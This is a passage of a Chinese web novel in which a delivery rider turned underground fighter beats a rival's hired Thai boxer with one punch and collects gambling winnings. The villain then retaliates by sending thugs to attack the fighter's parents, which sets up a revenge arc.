赵师傅“嗯”了一声,不再多问,只是淡淡道:“那种地方,龙蛇混杂,戾气太重,规则简单到只剩下弱肉强食。偶尔历练可以,见见血,磨砺一下胆气与实战反应并非坏事。但切记,别被里面的血腥气污了本心。你骨子里,并非嗜杀之人,莫要让愤怒和杀戮的欲望,蒙蔽了你求道的赤子之心。”他说完,提起鸟笼,笼中画眉清脆地叫了两声。他哼着那不成调却古意盎然的戏文,慢悠悠地沿着杂草丛生的小径走远了,身影很快融入薄雾之中。
看着赵师傅的背影消失,王大头若有所思。这位神秘的老者,每次出现都恰到好处,指点寥寥数语,却总能让他茅塞顿开。其身份和意图,依旧像笼罩在一层迷雾中,但那份爱护与引导之意,却做不得假。他甩甩头,将这份疑虑暂时压下。当务之急,是尽快掌握力量,解决眼前的麻烦。
他重新摆开架势,尝试按照赵师傅的指点,收敛三分刚猛,用意念引导内力,感受发力时肌肉纤维的细微颤动与内息流转的轨迹。就在他沉浸其中,反复揣摩那“刚柔并济”的微妙感觉时——
“大头!大头!不好了!”
一阵急促而慌乱的脚步声和呼喊声,由远及近,打破了公园的宁静。只见张猛满头大汗地跑来,他那件廉价的T恤前襟已经被汗水浸湿,脸上混合着焦急、愤怒,还有一丝不易察觉的恐惧。
“怎么了?慌慌张张的。”王大头皱眉,心中升起一丝不祥的预感。张猛性格直率仗义,但跟着他经历了几次事之后,已沉稳了不少,很少如此失态。
张猛跑到近前,双手撑着膝盖,大口
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喘着粗气,话都说不利索:“是…是陈少那个王八蛋!阴魂不散!**从哪个耗子洞里打听到你在‘狂野角斗’打拳,还知道了你的化名‘王腾’!他…**现在人就在拳场里,嚣张得很,当着很多人的面扬言,要在你下一场比赛下重注买你输!还放话…还要让你在台上好看!说…说要把你手脚都打断,让你像狗一样爬着出擂台!”
王大头眼神瞬间冷了下来,周围的温度仿佛都骤然降低了几分。陈少,这个纨绔子弟,之前的教训看来还远远不够!父亲的医药费像一座大山压在他心头,他本不欲节外生枝,但对方的步步紧逼,已然触及了他的底线。
他还没说话,张猛喘着粗气,脸上露出更加担忧的神色:“这还不算!我还打听到,这混蛋为了确保万无一失,**下了血本,从泰国那边请来了一个叫什么‘黑熊’的泰拳王!听说那家伙在黑市拳赛里从无败绩,下手极其狠毒,非死即残!专门就是冲着你来的!大头,今晚这场,摆明了是鸿门宴啊!要不……咱们暂避风头?”
王大头沉默着,弯腰从地上捡起一块崩飞的、棱角最为尖锐的花岗岩碎片。冰冷的触感顺着指尖蔓延,却丝毫无法压制心头那簇骤然升腾、越烧越旺的火焰。
他想起之前被陈少用钞票拍脸的羞辱,想起父亲病重时自己四处借钱无人肯借的绝望,想起这个纨绔子弟一次次如同跗骨之蛆般的无理纠缠和新仇旧恨。原本因修炼混元桩而平和的心境,此刻也被这股恶气冲击得波澜起伏。
“咔嚓。”
细微却清晰的声响中,他指间那块坚硬无比的花岗岩碎片,竟被硬生生捏成了更细小的粉末,从他指缝簌簌落下,随风飘散。
他抬起头,脸上没有任何表情,平静得可怕。只有那双眼睛,锐利得如同刚刚开刃、饱饮过鲜血的**,寒光四射,带着一种令人心悸的决绝。
“想打断我的手脚?”王大头的声音不高,却像冰冷的铁块相互摩擦,带着一种压抑到极致的暴烈,“正好,我这八极拳初成,缺一块够分量的试金石。”
“告诉他,今晚,我‘王腾’准时赴约。”
“也顺便看看,是他的泰拳王骨头硬,还是我这刚刚打碎花岗岩的拳头硬!”
第22章:赛场外的阴招!
夜幕彻底笼罩城市,将白日的喧嚣转化为另一种形态的躁动。“狂野角斗”地下拳场所在的废弃工厂区,此刻成了欲望与暴力宣泄的乐园。
各种经过爆改、喷涂着夸张图案的跑车、越野车歪歪扭扭地停满空地,引擎的轰鸣如同野兽的咆哮。衣着暴露、浓妆艳抹的女人依偎在满身酒气的男人身边,娇笑声与下注的喧嚣声、粗鄙的叫骂声混杂在一起,构成一幅堕落而狂热的画卷。
王大头依旧穿着他那身洗得发白、甚至边缘有些磨损的旧外套,里面是方便活动的黑色运动背心。他气息内敛,步伐沉稳,走在熙攘杂乱的人群中,却仿佛置身于另一个静谧的空间,与周围躁动的人群格格不入。他能清晰地感受到,暗中有不少目光落在自己身上,有好奇,有审视,但更多的,是一种不怀好意的等待,等待着一场好戏上演。
然而,就在他距离那由厚重帆布帘子遮挡的选手入口还有十几米时,七八个明显是混混打扮、穿着花哨衬衫、头发染得五颜六色的青年,嘴里叼着烟,故意晃着身子,如同拦路恶犬般,一字排开,彻底堵住了他的去路。为首一人,剃着泛青的头皮,脖颈上纹着一条色彩斑斓、尾钩高翘的蝎子,正是陈少手下的头号马仔,外号“蝎子”。他嘴角歪叼着烟,眯着眼睛,用一種打量待宰羔羊的眼神看着王大头。
“哟呵?这不是我们风头正劲的大外卖侠,‘王腾’吗?”蝎子阴阳怪气地开口,故意拉长了音调,一口浓白的烟圈肆无忌惮地喷向王大头的脸,“怎么,这么着急进去送死啊?赶着投胎也没你这么积极的。”
王大头脚步不停,甚至连眼神都没扫他们一下,仿佛眼前只是一团污浊的空气,只是淡漠地吐出四个字:“好狗不挡道。”
“操!**骂谁是狗?”蝎子脸色瞬间阴沉下来,如同被踩了尾巴。旁边一个急于表现、满脸横肉的小弟立刻上前,蒲扇般的大手带着风声,狠狠就朝王大头的肩膀推搡过来,“给脸不要脸的东西!陈少发了话,今晚你这擂台上不了!识相的,自己夹着尾巴滚蛋!不然老子现在就给你松松骨头!”
那混混的手眼看就要碰到王大头的肩膀,力道十足,若是普通人,恐怕会被直接推个跟头。却见王大头肩膀如同抹了油,又像是根本没有实质,只是极其细微地一沉一滑,那混混顿时推了个空,强大的惯性让他重心不稳,一个趔趄向前冲了两步,差点一头栽倒在地,显得狼狈不堪。
“妈的!还敢躲?”蝎子见状,怒骂一声,脸上挂不住了,“给老子一起上!废了他!打残了算陈少的!看他还怎么上台逞英雄!”
老大一声令下,七八个混混顿时如同打了鸡血,嘴里不干不净地骂着娘,拳脚并用,一窝蜂地涌了上来!拳风腿影,虽然杂乱无章,但仗着人多势众,倒也声势骇人,引得周围不少准备入场的观众驻足围观,指指点点,却没人敢上前阻拦。陈少在这片区域的恶名,早已深入人心。
面对这群乌合之众的围殴,王大头眼中寒光一闪而逝。他不想在赛前过多暴露实力,尤其是动用八极拳这样的杀招,但也绝不可能被这群杂鱼拦在外面,堕了刚刚建立的“王腾”之名。
只见他身形如鬼魅般晃动起来,脚下步伐看似杂乱无章,细看却隐含某种规律,总能在毫厘之间,以最小的幅度避开对方毫无章法的拳脚。他并没有动用杀伤性的八极拳,甚至没有主动攻击,只是将融入本能的基础格斗技巧和远超常人的速度、反应发挥到极致。
“啪!”一个勾拳带着风声袭来,他侧身避开,同时手肘看似无意地、轻飘飘地往后一顶,精准无比地撞在身后试图偷袭者的肋下软肋。那人顿时如遭电击,闷哼一声,脸色煞白,捂着肚子就蜷缩着蹲了下去,冷汗直冒。
“砰!”侧边又是一记势大力沉的踢腿扫来,他抬膝轻松格挡,接触的瞬间,小腿肌肉微微一绷,顺势一个几乎微不可查的小幅度震脚。地面似乎轻轻一颤,靠近他的两个混混只觉得脚底一股诡异的麻劲传来,整条腿都瞬间酸软,动作不由得一滞,攻击自然落空。
他如同一条滑不留手的游鱼,又像是一缕捉摸不定的青烟,在七八个人的**中穿梭自如。每一次看似惊险的闪避,每一次轻微的反击接触,都必然伴随着一个混混的痛呼、闷哼或倒地。他的动作快得只留下些许残影,给人一种闲庭信步、游刃有余的错觉。
围观的人都看呆了,议论声纷纷响起。
“我靠,这‘王腾’有点东西啊!这身法,绝了!”
“怪不得敢和陈少叫板!原来是真有本事!”
“你看他那样子,根本就没用力!陈少这次怕是真踢到铁板了!”
“妈的,看得老子都想买他赢了!”
蝎子见手下转眼间就被放倒三四个,连对方的衣角都没摸到,自己这边反而人仰马翻,又惊又怒,脸上火辣辣的,感觉受到了前所未有的羞辱。他猛地从后腰摸出一把寒光闪闪的**,“咔哒”一声弹出锋利的刀刃,眼中凶光毕露,恶狠狠地低吼道:“王腾!**找死!给老子躺下!”
他刚想持刀扑上去,王大头却仿佛背后长眼,在轻描淡写地避开另一人攻击的同时,脚下步伐玄妙地一错,身形如陀螺般旋转半圈,已然如同泥鳅般脱离了混乱的包围圈,径直来到了选手入口处,将那群气急败坏、骂骂咧咧的混混彻底甩在了身后。
他停下脚步,缓缓转过身,目光第一次真正落
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在了蝎子那张因极度愤怒和羞恼而扭曲变形的脸上。他的眼神平静无波,没有任何情绪,既无胜利的得意,也无被挑衅的愤怒,只有一种居高临下、俯视蝼蚁般的冷漠。
“告诉陈少,”王大头的声音不高,却像带着某种奇特的穿透力,清晰地压过了现场的嘈杂,传入每一个人耳中,包括脸色铁青的蝎子,“他买我输的钱,我笑纳了。”
“至于想让我好看……”
他嘴角勾起一抹极淡却冰冷刺骨,仿佛能冻结血液的弧度。
“台上见真章。”
说完,不再理会身后蝎子等人疯狂的叫骂和“你等着!”“黑熊先生会撕碎你!”之类的无能威胁,转身,掀开那厚重、沾染着污渍的帆布门帘,步入了那个充斥着更加浓烈血腥气、汗臭、烟草味和狂热呐喊的另一个世界。
门外,蝎子气得浑身发抖,胸口剧烈起伏,狠狠一脚踹在旁边一个锈迹斑斑的铁皮垃圾桶上,发出“哐当”一声巨响。他掏出手机,手指因为愤怒而有些颤抖,快速拨通了陈少的电话,刚一接通,就咬牙切齿地汇报道:“陈少!那…那小子进去了!妈的,邪门得很,滑溜得像条泥鳅,兄弟们没拦住……不过您放心!黑熊先生一定会在台上把他屎都打出来!让他知道得罪您的下场!”
电话那头,传来陈少嚣张而充满恨意,甚至带着一丝兴奋的声音:“很好!算他走运,多蹦跶几分钟!老子这次押了三百万买他输!告诉黑熊,我不要他简单的赢,我要他废!彻底废掉!最好让他以后都只能躺在床上过日子!”
“是!是!陈少您放心!黑熊先生出手,绝对万无一失!”蝎子连连称是,挂掉电话,看着选手入口的方向,脸上重新露出了狰狞而期待的笑容,仿佛已经看到了王大头在台上惨不忍睹的模样。
而此刻,已然进入拳场内部通道的王大头,耳边瞬间被观众席上山呼海啸般的呐喊、口哨和疯狂的咒骂声所淹没。空气中弥漫的暴戾、兴奋、贪婪的因子几乎要凝结成实质,压迫着人的神经。他深吸了一口这浑浊不堪的空气,将眼底那冰冷的杀意与刚刚被勾起的怒火,缓缓压入内心深处,如同将利刃归入鞘中。
通道尽头,就是被无数聚光灯照耀得如同白昼、象征着原始暴力与征服的擂台。
他知道,擂台上,有一个被重金请来、号称**机器的泰拳王在等着他。
看台某个隐蔽的VIP包厢里,陈少一定正用怨毒而期待的目光,透过单向玻璃注视着他的一举一动。
但这又如何?
他轻轻活动了一下脖颈,握紧了拳头,指关节发出一连串如同炒豆般清脆的爆鸣声,在喧嚣的通道中微不可闻,却带着一种坚定无比的力量感。
第23章:碾压!一拳之威!
“狂野角斗”地下拳场,中间主擂台。
刺眼的聚光灯如同几柄光剑,交叉聚焦,将擂台照得纤毫毕现,恍如白昼,与周围观众席那片刻意营造的昏暗形成了强烈的反差,仿佛将擂台隔离成了一个独立的、只属于暴力与胜负的残酷舞台。空气中,消毒水试图掩盖却徒劳无功的、混合着汗液、血腥、廉价烟草以及各种狂热荷尔蒙的复杂气味,浓烈得几乎令人窒息。
主持人穿着缀满亮片的紫色西装,头发梳得油光锃亮,拿着话筒,用近乎嘶哑的嗓音,声嘶力竭地咆哮着,极力煽动着现场早已沸腾的情绪:“女士们!先生们!让你们久等了!接下来,将是今晚最令人血脉贲张、最不容错过的压轴对决!!!”
聚光灯猛地打在王大头所在的通道口,他缓步走出,依旧是一身简单的黑色运动背心,下身是同样普通的运动长裤,表情平静,甚至在这种环境下显得有些过分的木讷和格格不入。观众席上瞬间爆发出混杂着狂热欢呼、尖锐口哨和巨大质疑的声浪。
“首先登场的是——来自神秘东方,十战十胜,未尝败绩,以其诡异身法和强大力量,被誉为‘外卖拳王’的——王!腾!!!”
“而他的对手!!!”主持人声音再次拔高,几乎破音,充满了煽动性,“是来自泰国,横扫东南亚地下拳坛,双手沾满鲜血,膝肘之下从无完卵,被誉为‘人间凶器’、‘杀戮机器’的——黑!熊!!!”
“吼——!”
伴随着一声如同真正野兽般的、充满野性与暴戾的咆哮,一个皮肤黝黑发亮、身材壮硕得如同铁塔般的身影,从对面通道猛地冲了出来!他没有走台阶,而是单手一撑擂台边缘,近两米高的庞大身躯异常灵活地翻了上去,发出“咚”的一声闷响,整个擂台似乎都随之震颤了一下。
他剃着光头,只在腰间系着一条传统的泰拳短裤,全身那虬结凸起的肌肉,如同钢铁浇铸而成,充满了**性的力量感。他的眼神凶戾、残暴,没有任何人类的情感,只有最原始的杀戮欲望,如同在丛林中盯上猎物的饿狼。
他**性地挥舞着缠绕着粗粝麻绳的拳头,膝撞、肘击,带起“呼呼”的风声,动作刚猛凌厉,充满了极强的视觉冲击力,立刻引得了台下他那些支持者,以及大量买了陈少盘口的赌徒们疯狂的呐喊。
“黑熊!撕碎他!把他的脑袋拧下来!”
“打死那个不知天高地厚的送外卖的!”
“陈少万岁!黑熊无敌!老子全副身家买你赢!”
VIP包厢内,陈少优雅地摇晃着手中的红酒杯,透过单向玻璃,居高临下地看着擂台,脸上是毫不掩饰的得意和残忍。他对着身旁垂手而立、穿着笔挺西装、头发梳得一丝不苟的老者管家笑道:“福伯,看着吧,好戏开场了。三百万,买那小子一条腿,不,买他后半生躺在床上,值!”
福伯微微躬身,态度恭敬,但那双略显浑浊的老眼却锐利地扫过擂台上的王大头,眉头微不可查地蹙了一下,低声道:“少爷,此子气息沉稳异常,步履间下盘极稳,行走站立自有章法,眼神平静无波,这份定力……恐怕不像表面看起来那么简单。老奴总觉得,有些不对劲。”
“哼,福伯,你多虑了。”陈少不以为意地嗤笑一声,抿了一口红酒,“再稳又能怎样?不过是装腔作势!黑熊可是我花了大价钱,通过特殊渠道从金三角那边的死亡拳赛里请来的真正高手!手上至少有十几条人命!实战经验丰富无比,可不是之前那些被王大头侥幸打败的阿猫阿狗能比的!你就等着看好戏吧!”
擂台上,穿着黑白条纹衫的裁判,有气无力地、几乎是走形式地快速宣布了几句几乎不存在的规则(实际上,在这里,除了不能使用武器,几乎没有规则限制)后,猛地一挥手!
“咚——!”
象征着比赛开始的钟声,如同丧钟般敲响!
钟声余韵未绝,黑熊就动了!他就像一头被彻底激怒、挣脱了锁链的真正的黑熊,带着一股令人作呕的腥风,猛地扑向王大头!他的速度快得惊人,与那庞大的身躯完全不成正比,一记凌厉无比、角度刁钻的低扫腿,如同钢鞭般,带着撕裂空气的尖啸,目标直指王大头的膝盖外侧!这一下若是踢实,足以让人瞬间腿骨断裂,彻底失去战斗力!
台下观众发出一片兴奋的惊呼和呐喊,陈少脸上的笑容愈发灿烂得意,仿佛已经看到了王大头抱着断腿惨嚎的画面。
然而,面对这足以致命的凌厉一击,王大头竟然……不闪不避!
他甚至没有做出任何华丽的格挡或躲闪动作,只是在黑熊的腿即将狠狠扫中他膝盖的刹那,身体依照混元桩的根基,微微向下一沉,重心稳如磐石,扎根于大地。同时,他的右拳,如同蛰伏已久的巨龙出洞,后发先至!
没有蓄力,没有助跑,就是那么简简单单、朴实无华、却凝聚了全身精气神与近二十年精纯内力的一拳——八极拳,崩拳!
拳出如炮,劲发炸裂!
“嘭!!!!!!”
一声比之前任何一次碰撞都要沉闷、都要恐怖、仿佛能直接敲击在人心脏上的巨响,在擂台上猛然炸开!
时间仿佛在这一刻被按下了暂停键。
黑熊那势在必得、充满毁灭力量的扫腿,尚未完全伸展到位,就感觉一股无法形容、沛然莫御的恐怖巨力,如同高速行驶的重型卡车,狠狠地、毫无花假地撞在了他自己的大腿股骨之上!
“咔嚓——!”
令人牙酸、毛骨悚然的骨裂声,即便在喧嚣的拳场中,也清晰得如同在每个人耳边响起!
“呃啊啊啊啊——!”
黑熊发出一声凄厉到完全变形、不似人声的惨嚎,那庞大健硕的身躯,如同被一股无形巨力狠狠抽击的破麻袋,以一种极其扭曲、违反人体工学的姿势,猛地侧向倒飞出去!“砰”地一声巨响,狠狠地撞在擂台边缘富有弹性的围绳上,将那粗壮的围绳撞得剧烈变形、**!
紧接着,又被围绳重重地反弹回来,“噗通”一声,像一滩彻底失去支撑的烂泥,重重地摔砸在擂台地面上,抱着那条已经明显不正常弯曲、呈现诡异角度的大腿,发出杀猪般的哀嚎,痛苦地翻滚、抽搐,再也无法站起哪怕一分一毫!
整个喧嚣鼎沸的拳场,瞬间陷入了一片死一样的寂静!
落针可闻!
所有人都如同被施了定身法,瞪大了眼睛,张大了嘴巴,脸上写满了难以置信和极致的震撼,死死地盯着擂台上那堪称魔幻的一幕。
一招?
不,严格来说,只是一拳!
一次接触!
那个不可一世、被无数人寄予厚望、号称人间凶器的泰拳王黑熊,就这
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么……被彻底废了?!连一个照面都没撑过去?
VIP包厢里,陈少手中那只晶莹剔透的高脚红酒杯,“啪嚓”一声脆响,掉落在昂贵的地毯上,猩红的酒液如同鲜血般泼洒开来,溅了他一身,他却毫无所觉。只是脸色煞白如纸,嘴唇哆嗦着,如同大白天见到了最恐怖的恶鬼,死死地盯着擂台上那个缓缓收拳,仿佛只是随手拍**一只苍蝇般平静的身影。
“不…不可能…这绝对不可能…”他失魂落魄地喃喃自语,身体不受控制地微微发抖,一股寒意从脚底板直冲天灵盖。
擂台上,王大头缓缓收回拳头,手臂上的肌肉线条流畅而充满力感。他看都没看在地上凄厉哀嚎、已然彻底失去威胁的黑熊一眼,仿佛那真的只是一堆无关紧要的垃圾。他目光平静地扫过旁边同样目瞪口呆、如同石化般的裁判。
裁判被这平静的目光一扫,这才如同大梦初醒,猛地一个激灵,连惯例的读秒都省了,几乎是连滚爬爬地冲上前,一把抓住王大头的手臂,用尽全身力气,高高举起,用变了调的声音声嘶力竭地高声宣布:“胜、胜者——王腾!!!”
短暂的、令人窒息的寂静之后,拳场如同被投入了一颗重磅**,轰然爆发出远比之前任何时刻都要更加狂熱、更加疯狂的欢呼和呐喊声!声浪几乎要掀翻屋顶!
“王腾!王腾!王腾!”
“外卖拳王!无敌!”
“我靠!我看到了什么?!一拳!就一拳啊!”
“妈的!太猛了!这才是真男人!”
“老子赌对了!哈哈哈哈!发财了!”
之前那些为黑熊疯狂欢呼、肆意嘲讽王大头的人,此刻也纷纷倒戈,被这绝对碾压、毫无悬念的强大力量所彻底征服!在这个纯粹崇尚暴力的地下世界,实力,就是唯一的话语权!
王大头感受着体内因为瞬间爆发而略有消耗,但依旧奔腾不息、且因为胜利而更加活跃的内力,耳边是观众山呼海啸般呼喊他化名的声浪,心中却一片平静,甚至有些疏离。他知道,这只是开始,是迈向更高处的一块微不足道的垫脚石。陈少?不过是他武道之路上,一块稍微硌脚、惹人厌烦的小石子而已。
他目光若有似无地扫向那个隐藏着的VIP包厢方向,虽然看不到里面的人,但他能清晰地感受到,那道之前还充满得意和怨毒的视线,此刻已然被无边的惊恐、难以置信和彻底的挫败感所取代。
就在这时,脑海中,那冰冷而熟悉的系统提示音,如期而至:
【检测到宿主强势碾压对手,以绝对力量捍卫武者尊严,符合“武道奇遇系统”激励标准。奖励:五年内力感悟。】
一股温和而精纯的暖流,凭空而生,迅速融入四肢百骸、经脉丹田。原本因为刚才那石破天惊一拳而略有消耗的内力,瞬间不仅恢复圆满,更是变得愈发充盈、凝练,总量明显提升了一截,甚至对内力控制的精细度,也有了一丝微妙的提升!
王大头嘴角微不可查地扬起一抹愉悦的弧度。
收获的时刻,尤其是这种意料之中却又总能带来惊喜的收获,总是如此令人身心舒畅。
他轻轻甩了甩手腕,仿佛只是做了一件微不足道的小事,在无数道狂热、敬畏、崇拜、恐惧的目光注视下,在聚光灯的追逐下,从容不迫地、一步一步地走下了擂台。
第24章:赢来的尊重与奖金
擂台下的通道,远比来时喧嚣。
“王先生!这边请!这边请!”之前只是公事公办的拳场经理,一个梳着油头、身材微胖的中年男人,此刻脸上堆满了近乎谄媚的笑容,腰身都不自觉地弯下了几分。他小心翼翼地引着王大头,穿过依然能听到外面震耳欲聋呼喊着“王腾”之名的人群,走向位于拳场后方、装修明显豪华许多的财务室。
“王先生真是……**不露相啊!那一拳,我的天,简直是石破天惊!黑熊那家伙,以前在多伦多那边打黑拳的时候,可是凶名赫赫,没想到在您手底下,连一招都走不过!”经理一边走,一边不住地奉承,眼神里充满了敬畏与一丝不易察觉的算计。这样能打又能带来巨大流量和赌盘收益的拳手,简直是摇钱树。
王大头表情依旧平淡,只是“嗯”了一声,算是回应。他不太擅长应付这种赤裸裸的恭维,心思更多地沉浸在刚才那一拳的体悟,以及体内新增的内力上。
财务室里,空气中弥漫着新钞的油墨味和淡淡的雪茄烟味。一个戴着金丝眼镜、表情刻板的会计,将一摞摞捆扎好的、散发着诱人气息的百元大钞,从厚重的保险柜里取出,整齐地码放在宽大的实木办公桌上。整整二十摞,二十万现金。这还不包括他赢得比赛的固定奖金和之前下注自己赢所获得的分红。
“王先生,这是您本次的出场费、获胜奖金以及……呃,陈少那边的一部分‘贡献’。”经理搓着手,笑容可掬地指着那堆钱,“按照规矩,我们抽一成水,这里是十八万净额。另外,这是您之前下注的赢利,扣除本金,一共是两万。总共二十万,请您点一点。”
二十万。厚厚的几沓,堆在那里,沉甸甸的。王大头看着这笔巨款,心中波澜微起。这比他风里来雨里去送半年外卖挣得还多。有了这笔钱,父亲下一阶段的治疗费和康复费用,就能缓解一大半压力。但这钱,沾着血腥,来自搏命,也来自对手的愚蠢(陈少的赌注)。
他没有急于去拿钱,而是抬头看向经理,目光平静却带着一种无形的压力:“陈少那边,什么反应?”
经理脸上的笑容僵了一下,随即压低声音,带着几分幸灾乐祸和提醒:“陈少?嘿,您可是让他亏了大几百万,脸都丢到太平洋去了!他被福伯扶着离开的时候,脸色那叫一个难看,跟**爹妈似的。不过,王先生,您可得多加小心。陈少这人,心眼比针尖还小,睚眦必报。这次吃了这么大的亏,他肯定不会善罢甘休。明枪易躲,暗箭难防啊。”
王大头点了点头,表示知道了。他自然不会天真地以为事情会就此结束。他伸手,将桌上那二十沓钞票,一沓一沓,不紧不慢地拿起,放进随身带来的一个不起眼的旧帆布包里。动作沉稳,没有丝毫暴发户的急切。
就在这时,脑海中系统的提示音再次响起,比刚才更加清晰:
【检测到宿主强势碾压对手,捍卫武者尊严,符合“武道奇遇系统”激励标准。奖励发放:五年内力感悟。】
一股远比之前更加精纯、更加浑厚的暖流,如同决堤的江河,轰然涌入他的四肢百骸,冲刷着他的经脉!这一次的内力增长,感觉尤为明显!之前吸收奖励,如同小溪汇入河流,而这次,却像是给河流直接注入了强大的活水源头!
他体内原本因混元桩而变得凝实的内力,在这股新生力量的加入下,总量暴涨,奔流不息,发出隐隐的潮汐之声。他甚至能感觉到,丹田气海似乎被拓宽了一丝,容纳了更多的真气。四肢百骸充满了近乎**性的力量,感官也似乎变得更加敏锐,通道外观众嘈杂的议论声,此刻听来都清晰可辨。
然而,在这力量充盈的快感达到顶峰时,他却敏锐地察觉到,内力运行至某些特定的、细微的经脉节点时,开始出现了一丝极其微弱的滞涩感,仿佛前方有一层无形而坚韧的膜,阻碍着内力更加圆融无碍的运转。
内力再次暴涨,他感觉距离下一个瓶颈,似乎已不远了。化劲?还是更高的层次?赵师傅似乎提到过,化劲之后,乃是需要对内力掌控入微,乃至沟通天地之桥的……先天之境?那对他而言,还太过遥远,但眼前的瓶颈,却是实实在在的感应。
“王先生?您没事
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吧?”经理见王大头拿着钱,突然站在原地不动,眼神有些飘忽,不由关切地问道。他还以为王大头是受了什么暗伤。
王大头瞬间回神,将帆布包的拉链拉好,随意地甩在肩上,仿佛里面装的不是二十万现金,而是几件旧衣服。“没事。”他淡淡道,“替我安排下一场比赛,对手……强一点更好。”
经理闻言,眼睛顿时一亮,连忙答应:“没问题!包在我身上!以您现在的名气和实力,下一场的出场费至少翻倍!我一定给您找旗鼓相当的对手!”他仿佛已经看到了更多的钞票和更高的上座率在向他招手。
王大头不再多言,背着包,走出了财务室。通道里,一些工作人员、甚至是其他拳手看到他,都纷纷投来或敬畏、或羡慕、或忌惮的目光,主动让开道路。这就是实力带来的最直接的尊重。
他没有理会这些,径直走向拳场后门,准备离开这个喧嚣之地。今晚的收获,远超预期。金钱,内力,名声。但与此同时,陈少那潜在的威胁,以及体内隐约感知到的瓶颈,也提醒着他,前路并非一帆风顺。
他需要更快地提升实力,需要更多的资源,也需要……未雨绸缪。
夜色深沉,城市的霓虹无法照亮所有角落。
王大头没有回那个被砸得一片狼藉的出租屋,而是在距离“雅韵咖啡”不远的一家廉价旅馆开了个临时房间。房间狭小暗仄,空气里带着霉味,但至少干净,能让他暂时栖身,整理思绪和……清点收获。
他将那沉甸甸的帆布包放在略显油腻的床头柜上,并没有立刻去动里面的钱。而是盘膝坐在床上,再次运转混元桩的心法,引导着体内那新增的、汹涌澎湃的五年内力,试图将它们彻底驯服,与自身原本的内力完美融合,同时也细细体会着那层瓶颈所带来的微妙滞涩感。
内力如潮,在经脉中奔流,但每到那几个关键节点,便如溪流遇礁,虽能绕过,却终究不能畅通无阻。他知道,这需要**工夫,或者,某种契机。
就在他心神沉静,物我两忘之际——
“叮铃铃——!叮铃铃——!”
第25章:陈少的疯狂报复
刺耳而急促的老人机铃声,如同警报般骤然响起,打破了房间的寂静,也打断了他的修炼。
王大头眉头一皱,这部只有最基础通话功能的旧手机,知道他号码的人屈指可数。他拿起手机,屏幕上闪烁的,是一个来自老家的区号,显示的姓名是“村头小卖部王婶”。一种莫名的不安预感,瞬间攫住了他的心脏。王婶平时很少主动给他打电话,除非……
他立刻按下接听键。
“喂?王婶?”
“大头!是大头吗?!哎哟喂!可算打通了!”电话那头,传来王婶那带着浓重乡音、焦急万分、甚至带着哭腔的声音,背景音里似乎还有隐约的吵嚷和哭喊声。
“是我,王婶,您别急,慢慢说,出什么事了?”王大头的心沉了下去,声音尽量保持平稳,但握着手机的手指,已经不自觉的收紧,指节微微发白。
“是你家!你家出事了!”王婶的声音又急又快,带着恐惧,“刚才……刚才天刚擦黑没多久,村里就来了一辆从没见过的黑车子,下来四五个凶神恶煞的生面孔男人!手里都拿着棍子!他们……他们直接冲到你家老屋去了!把你爸妈堵在屋里,又打又砸!把你家院子里的那几盆你妈最宝贝的兰花全给砸烂了!还在墙上用红漆喷了好多难听的话!骂得可难听了!”
王大头只觉得一股寒气从尾椎骨直冲天灵盖,浑身的血液仿佛在瞬间冻结!父母!他们竟然真的敢!竟然真的对他远在老家、与世无争的父母下手!
“我爸妈呢?!他们怎么样了?!”他的声音瞬间变得嘶哑,带着他自己都未曾察觉的颤抖和滔天的怒火。
“你爸……你爸气不过,上去理论,被他们推了一把,摔在地上,磕到了腰,现在动不了,疼得直冒冷汗!你妈吓得直哭,拦着他们,也被推搡了几下,差点摔倒!我和你叔还有几个邻居听到动静赶过去,那帮人嚣张得很,说什么……说什么‘叫你儿子王大头识相点,不然下次来的就不是砸东西,而是放火了!’还说什么‘断人财路,犹如**父母,这就是报应!’扔下这话,就上车跑了!我们赶紧把你爸扶到床上,这……这可怎么办啊大头!报警了,派出所的人来了看了看,做了笔录,说会调查,可……可那帮人一看就不是本地的,车牌都用东西挡着了,上哪儿找去啊!”
王婶后面的话,王大头已经有些听不清了。
他的大脑“嗡”的一声,仿佛有什么东西炸开了!
眼前似乎浮现出父亲那饱经风霜、此刻却因痛苦而扭曲的脸庞,母亲那无助而惊恐的哭泣,以及老家那虽然破旧却充满温馨回忆的院落,被肆意打砸、泼满污言秽语的惨状……
陈少!
一定是陈少!
除了这个输红了眼、毫无底线的纨绔子弟,还有谁会用如此下作、如此恶毒的手段?!竟然将黑手伸向了他在老家的父母!那是他王大头在这世上最后的软肋,最后的净土,也是他拼尽全力想要守护的底线!
“咯吱……咯吱……”
令人牙酸的骨骼摩擦声,从他紧握的拳头中传出。帆布包里的二十万现金,此刻仿佛变成了冰冷的讽刺。钱有了,力量也有了,可他却连最基本的,保护家人免受骚扰都做不到!
一股前所未有的、冰冷彻骨、却又如同岩浆般沸腾的杀意,如同失控的野兽,从他心底最深处轰然爆发,瞬间席卷全身!房间里的温度仿佛骤然降低,空气中弥漫开一股令人窒息的血腥气息。他的双眼,在昏暗的灯光下,变得一片赤红,里面没有任何人类的情绪,只剩下最原始、最暴烈的毁灭欲望!
他恨不得现在就立刻冲回老家,将那些敢动他父母的杂碎,一个个亲手撕成碎片!他更恨不得立刻找到陈少,将他千刀万剐,让他付出百倍千倍的代价!
就在这极致的愤怒与杀意几乎要冲垮他理智的堤坝时——
脑海中,那冰冷的系统提示音,以前所未有的急促和尖锐的频率,疯狂地响了起来!
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【警告!警告!检测到强烈至极的恶意针对宿主血脉至亲!触及系统核心守护准则!】
【临时紧急权限激活!赋予宿主一次性辅助技能:追踪标记!】
【技能说明:可对与此次恶意事件直接相关的特定目标(需接触过被侵害人或被侵害物品)进行超视距因果标记,持续时间为24小时。标记期间,宿主可模糊感知目标大致方位与距离。】
【请宿主谨慎使用,尽快排除威胁,守护至亲!】
一股奇异的信息流伴随着提示音涌入王大头的意识,瞬间让他理解了这个突然出现的【追踪标记】技能的使用方法。
如同在无尽的黑暗与暴怒中,陡然亮起了一盏指引方向的明灯!
王大头赤红的眼眸中,疯狂的神色稍稍收敛,取而代之的,是一种冰冷到极致的、如同万年寒冰般的冷静。
他对着电话那头焦急万分的王婶,用尽全身力气,压下那几乎要破体而出的杀意,声音沙哑却异常坚定地说道:“王婶,谢谢你!麻烦您和我叔,先帮忙照看一下我爸妈,我马上联系镇上的医生过去看看!钱我稍后就转给您!我这边……会立刻处理这件事!”
挂断电话,王大头猛地从床上站起。他走到窗边,一把拉开那脏兮兮的窗帘,望向外面漆黑如墨、却霓虹闪烁的都市夜空。他的身影在窗前显得挺拔而孤绝,仿佛一柄即将出鞘、饮血的利刃。
陈少……
还有那些动手的杂碎……
